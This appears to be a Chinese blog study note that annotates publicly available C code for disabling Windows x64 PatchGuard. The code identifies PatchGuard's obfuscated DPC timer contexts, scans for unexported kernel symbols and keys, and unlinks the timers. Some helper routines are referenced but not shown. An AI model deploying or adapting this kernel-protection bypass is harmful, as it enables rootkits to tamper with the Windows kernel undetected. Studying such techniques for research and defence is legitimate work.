以前没有接触过x64内核编程,借这份代码来学习一下,源码 http://www.codeproject.com/Articles/28318/Bypassing-PatchGuard-3
之前说到过PG3的一些机制,下面根据源码回顾一下
PG可能会queue一些dpc来触发syscheck,其中dpc context传入的是非传统地址,从而触发异常,转到异常处理去执行PG。
所以要判断dpc context
BOOLEAN CheckSubValue(ULONGLONG InValue)
{
ULONG i;
ULONG Result;
UCHAR* Chars = (UCHAR*)&InValue;
// random values will have a result around 120...
Result = 0;
for(i = 0; i < 8; i++)
{
Result += ((Chars[i] & 0xF0) >> 4) + (Chars[i] & 0x0F);
}
// the maximum value is 240, so this should be safe...
if(Result < 70)
return TRUE;
return FALSE;
}
BOOLEAN PgIsPatchGuardContext(void* Ptr)
{
ULONGLONG Value = (ULONGLONG)Ptr;
UCHAR* Chars = (UCHAR*)&Value;
LONG i;
// this is a requirement for a canonical pointer...
//合法地址
if((Value & 0xFFFF000000000000) == 0xFFFF000000000000)
return FALSE;
//0 也不是非法的
if((Value & 0xFFFF000000000000) == 0)
return FALSE;
// sieve out other common values...
//检测随机数?
if(CheckSubValue(Value) || CheckSubValue(~Value))
return FALSE;
if(Ptr == NULL)
return FALSE;
//This must be the last check and filters latin-char UTF16 strings...
//检测字符串
for(i = 7; i >= 0; i -= 2)
{
if(Chars[i] != 0)
return TRUE;
}
// this should only return true if the pointer is a unicode string!!!
return FALSE;
}
这个检测还是考虑了不少情况,接下来是获得dpc加密key的方法
NTSTATUS PgInitialize()
{
void* SymbolArray[MAX_SYMBOL_COUNT];
void* ValidationArray[MAX_SYMBOL_COUNT];
void* IntersectionArray[MAX_SYMBOL_COUNT];
ULONG iSymbol;
ULONG Index;
ULONG MatchCount;
KTIMER TestTimer;
KDPC TestTimerDpc;
LARGE_INTEGER TimerDueTime = {0};
ASSERT(KeGetCurrentIrql() <= DISPATCH_LEVEL);
/*
Extract and validate methods...
搜索同步用的未导出api,还是很谨慎的,用KeCancelTimer和KeSetTimerEx对比进行定位
*/
if(!ExtractSymbolAddresses((void*)KeCancelTimer, FALSE, 0xE8, OUT SymbolArray) ||
!ExtractSymbolAddresses((void*)KeSetTimerEx, FALSE, 0xE8, OUT ValidationArray))
return STATUS_NOT_SUPPORTED;
if(IntersectSymbolAddresses(SymbolArray, ValidationArray, OUT IntersectionArray) != 5)
return STATUS_NOT_SUPPORTED;
KiAcquireDispatcherLockRaiseToSynch = IntersectionArray[0];
KeAcquireQueuedSpinLockAtDpcLevel = IntersectionArray[1];
KeReleaseQueuedSpinLockFromDpcLevel = IntersectionArray[2];
KiReleaseDispatcherLockFromSynchLevel = IntersectionArray[3];
KiExitDispatcher = IntersectionArray[4];
/*
Extract KiTimerTableListHead...
*/
if(!ExtractSymbolAddresses((void*)KeCancelTimer, TRUE, 0x8D48, OUT SymbolArray))
return STATUS_NOT_SUPPORTED;
if(!ExtractSymbolAddresses((void*)KeSetTimerEx, TRUE, 0x8D48, OUT ValidationArray))
return STATUS_NOT_SUPPORTED;
MatchCount = IntersectSymbolAddresses(SymbolArray, ValidationArray, OUT IntersectionArray);
for(iSymbol = 0; iSymbol < MatchCount; iSymbol++)
{
if(ValidateTimerTable(IntersectionArray[iSymbol]))
{
// check if we found ambiguous symbol references
KiTimerTableListHead = IntersectionArray[iSymbol];
break;
}
}
if(KiTimerTableListHead == NULL)
return STATUS_NOT_SUPPORTED;
/*
Create test timer...
We use a well known, probably unique DeferredContext for later identification...
*/
KeInitializeTimer(&TestTimer);
KeInitializeDpc(&TestTimerDpc, OnTestTimerInvokation, (void*)PgInitialize);
__try
{
KeSetTimerEx(&TestTimer, TimerDueTime, 10000, &TestTimerDpc);
/*
Extract KiWaitAlways and KiWaitNever
一个特征码找到这两个值,然后验证
*/
if(!ExtractSymbolAddresses((void*)KeSetTimerEx, TRUE, 0x8B48, OUT SymbolArray))
return STATUS_NOT_SUPPORTED;
for(iSymbol = 0; iSymbol < MAX_SYMBOL_COUNT; iSymbol++)
{
if(SymbolArray[iSymbol] == NULL)
break;
for(Index = 0; Index < MAX_SYMBOL_COUNT; Index++)
{
if(SymbolArray[Index] == NULL)
break;
if(iSymbol == Index)
continue;
if(!ProbeAndSetKeys(
&TestTimer,
(ULONGLONG*)SymbolArray[iSymbol],
(ULONGLONG*)SymbolArray[Index]))
continue;
return STATUS_SUCCESS;
}
}
return STATUS_NOT_SUPPORTED;
}
__finally
{
// cleanup resources
KeCancelTimer(&TestTimer);
}
}
PG2非常简单,直接摘掉dpc了事
BOOLEAN PgDisablePatchGuard(PDEVICE_OBJECT InDevice)
{
KIRQL OldIrql;
ULONG Index;
PKSPIN_LOCK_QUEUE LockQueue;
PKTIMER_TABLE_ENTRY TimerListHead;
PLIST_ENTRY TimerList;
PKTIMER Timer;
PKDPC TimerDpc;
/*
Lock the dispatcher database and loop through the timer list...
We will cancel all timers that have a non-canonical DeferredContext.
*/
OldIrql = KiAcquireDispatcherLockRaiseToSynch();
for(Index = 0; Index < TIMER_TABLE_SIZE; Index++)
{
LockQueue = KeTimerIndexToLockQueue((UCHAR)(Index & 0xFF));
KeAcquireQueuedSpinLockAtDpcLevel(LockQueue);
// now we can work with the timer list...
TimerListHead = &KiTimerTableListHead[Index];
TimerList = TimerListHead->Entry.Flink;
while(TimerList != (PLIST_ENTRY)TimerListHead)
{
// is DPC patched?
Timer = CONTAINING_RECORD(TimerList, KTIMER, TimerListEntry);
TimerList = TimerList->Flink;
TimerDpc = PgDeobfuscateTimerDpc(Timer);
if(TimerDpc == NULL)
continue;
if(PgIsPatchGuardContext(TimerDpc->DeferredContext) && KeContainsSymbol(TimerDpc->DeferredRoutine))
{
// this will cancel the timer...
Timer->Header.Inserted = FALSE;
if(RemoveEntryList(&Timer->TimerListEntry))
TimerListHead->Time.HighPart = 0xFFFFFFFF;
}
}
KeReleaseQueuedSpinLockFromDpcLevel(LockQueue);
}
KiReleaseDispatcherLockFromSynchLevel();
KiExitDispatcher(OldIrql);
return TRUE;
}